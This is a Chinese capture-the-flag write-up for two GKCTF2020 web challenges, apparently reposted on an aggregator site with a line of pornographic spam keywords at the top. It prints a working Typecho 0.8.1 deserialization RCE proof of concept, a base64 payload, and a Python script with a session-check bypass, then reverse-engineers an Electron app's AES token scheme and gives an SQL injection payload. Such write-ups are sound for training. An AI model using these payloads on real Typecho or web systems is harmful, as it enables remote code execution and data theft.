日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[GKCTF2020]web后边两道题(接上)

發布時間:2024/3/26 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [GKCTF2020]web后边两道题(接上) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

EzTypecho

有一個附件可以下載,是網站的源碼

打開網站是一個Typecho網站的安裝頁面

果斷搜索漏洞,之前可以考慮看下信息,發現changlog.txt文件中有版本信息-0.8.1

然后上網搜索Typecho漏洞,發現了兩個反序列化漏洞,Typecho反序列化漏洞導致前臺getshell和Typecho反序列化漏洞復現分析,想研究清楚可以去原文看,這里就講利用,我們這里的版本是滿足兩個漏洞的,然后都可以用一個exp生成payload,我們這里使用下面的poc生成payload

<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'system("cat /flag");';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

然后這里還需要繞過限制條件進行訪問

兩個漏洞公共的限制條件

文章中有說需要finish,但是這題并不需要

這里有個referer檢測,繞過方法,加上referer字段,內容就是url

referer: http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn

然后就是兩個漏洞分別的限制條件了,先看第一個漏洞

這里比官方漏洞多了個session的判斷,需要繞過,然而前面的session_start();被注釋掉了,所以需要找漏洞繞過,然后最前面還有個finish的get判斷,然后下面是官方題解給的辦法

得知在文件上傳時POST?個與PHP_SESSION_UPLOAD_PROGRESS同名變量時會在session中添加數據,從而繞過session檢測 使用下面的exp打過去 import requestsurl = 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php' files = {'file': 123} headers = {'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=','Referer': 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php'} re = requests.post(url, files=files, headers=headers, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}) print(re.text)

再看第二個漏洞

只檢測了start是否有get傳參,這個是比較簡單的,直接get傳參加前面的referer就完了

Node-Exe

hint:程序為electron程序

貼一下官方wp漲漲姿勢

通過安裝之后尋找源文件,或者對可執行文件binwalk,也可發現其中有7zip格式的文件,可以解壓縮獲得源文件,故此過程不再贅述。

安裝后執行程序,填寫靶機地址后,用戶名密碼為admin直接進入。

點擊購買后,兩個按鈕都是沒有用的假flag,故題目flag一定是無法購買的final ?flag。

通過抓包發現,請求除了包含基本的請求體,還有一個token。每次token請求均不同,且更改請求體后token失效,請求也無法重放,所以推斷出token必然是以一定規則在本地生成的。

找到程序所在目錄,確認程序為electron程序后,不難得知網頁文件均打包于.\resources\app.asar下。用node的asar工具解包:

asar extract ./app.asar ./ext/

便可得到webpack網站的源文件,查看package.json,發現頁面是基于vue構建的,同時也發現了庫crypto和js-md5。所以即使js源文件被webpack,也可以通過搜索methods關鍵詞找到token生成函數的位置,同時推測token加密使用了md5和另一種加密方式。

此處的methods中包含了“encrypt”,“makeToken”等關鍵詞,定位到此處應為token生成位置,單獨提出對代碼進行格式化,得到加密函數:

不難看出,加密使用了aes加密,轉到調用函數尋找key和iv

makeToken: function(e) {var i = this;return c()(a.a.mark((function t() {var o, r;return a.a.wrap((function(t) {for (;;) switch (t.prev = t.next) {case 0:return "31169fedc9a20ecf","d96adeefaa0102a9",o = f()(n()(e)),t.next = 5,i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);case 5:return r = t.sent,t.abrupt("return", r);case 7:case "end":return t.stop()}}), t, i)})))()},

可以得知加密使用的key和iv,但傳入加密函數的并非傳入生成函數的參數e,而是經過f和n函數處理得到的結果o,所以依然需要尋找函數f和函數n。但此時已經可以根據獲得的key和iv對token進行初步解密了。解密后是一串長度為32的字符,基本可以推斷這是一些信息的md5加密結果。回到renderer.js,格式化整個文檔后,module結構如下:

module.exports = function(e){...}([function(e){}...]);

這一格式為js的IIFE函數,這種函數在定義處便執行,其中的變量不可從外部訪問。我們從他的定義函數中尋找未知的函數n

此函數實現的js引擎中的stringify基礎功能的一部分,用于解析字符串。結合請求體,可推斷處調用的函數為toString(),不過此處并不重要,我們先前已經得知使用了md5加密。

接下來分析請求函數:

buyFlag: function(e) {var i = this;return c()(a.a.mark((function t() {var o;return a.a.wrap((function(t) {for (;;) switch (t.prev = t.next) {case 0:return o = {id: e,timestamp: Date.parse(new Date)},t.t0 = i.$http,t.t1 = i.url + "/buyflag",t.t2 = o,t.next = 6,i.makeToken(o);case 6:t.t3 = t.sent,t.t4 = {token: t.t3},t.t5 = {headers: t.t4},t.t6 = function(e) {i.$Modal.info({title: "購買結果",content: e.data[0].flag})},t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);case 11:case "end":return t.stop()}}), t, i)})))()

對照得知,傳入makeToken函數的是請求體。至此審計結束,得到了token是由MD5

加密過的帶timestamp的請求體后使用aes加密得到,之后便可自行發起請求。

根據返回的前兩個flag的id分別為1和2,嘗試獲取id為3的flag時會提示無法購買,此時

通過構建payload注入即可獲得flag。

payload:

1"or(id=3)#

?

總結

以上是生活随笔為你收集整理的[GKCTF2020]web后边两道题(接上)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。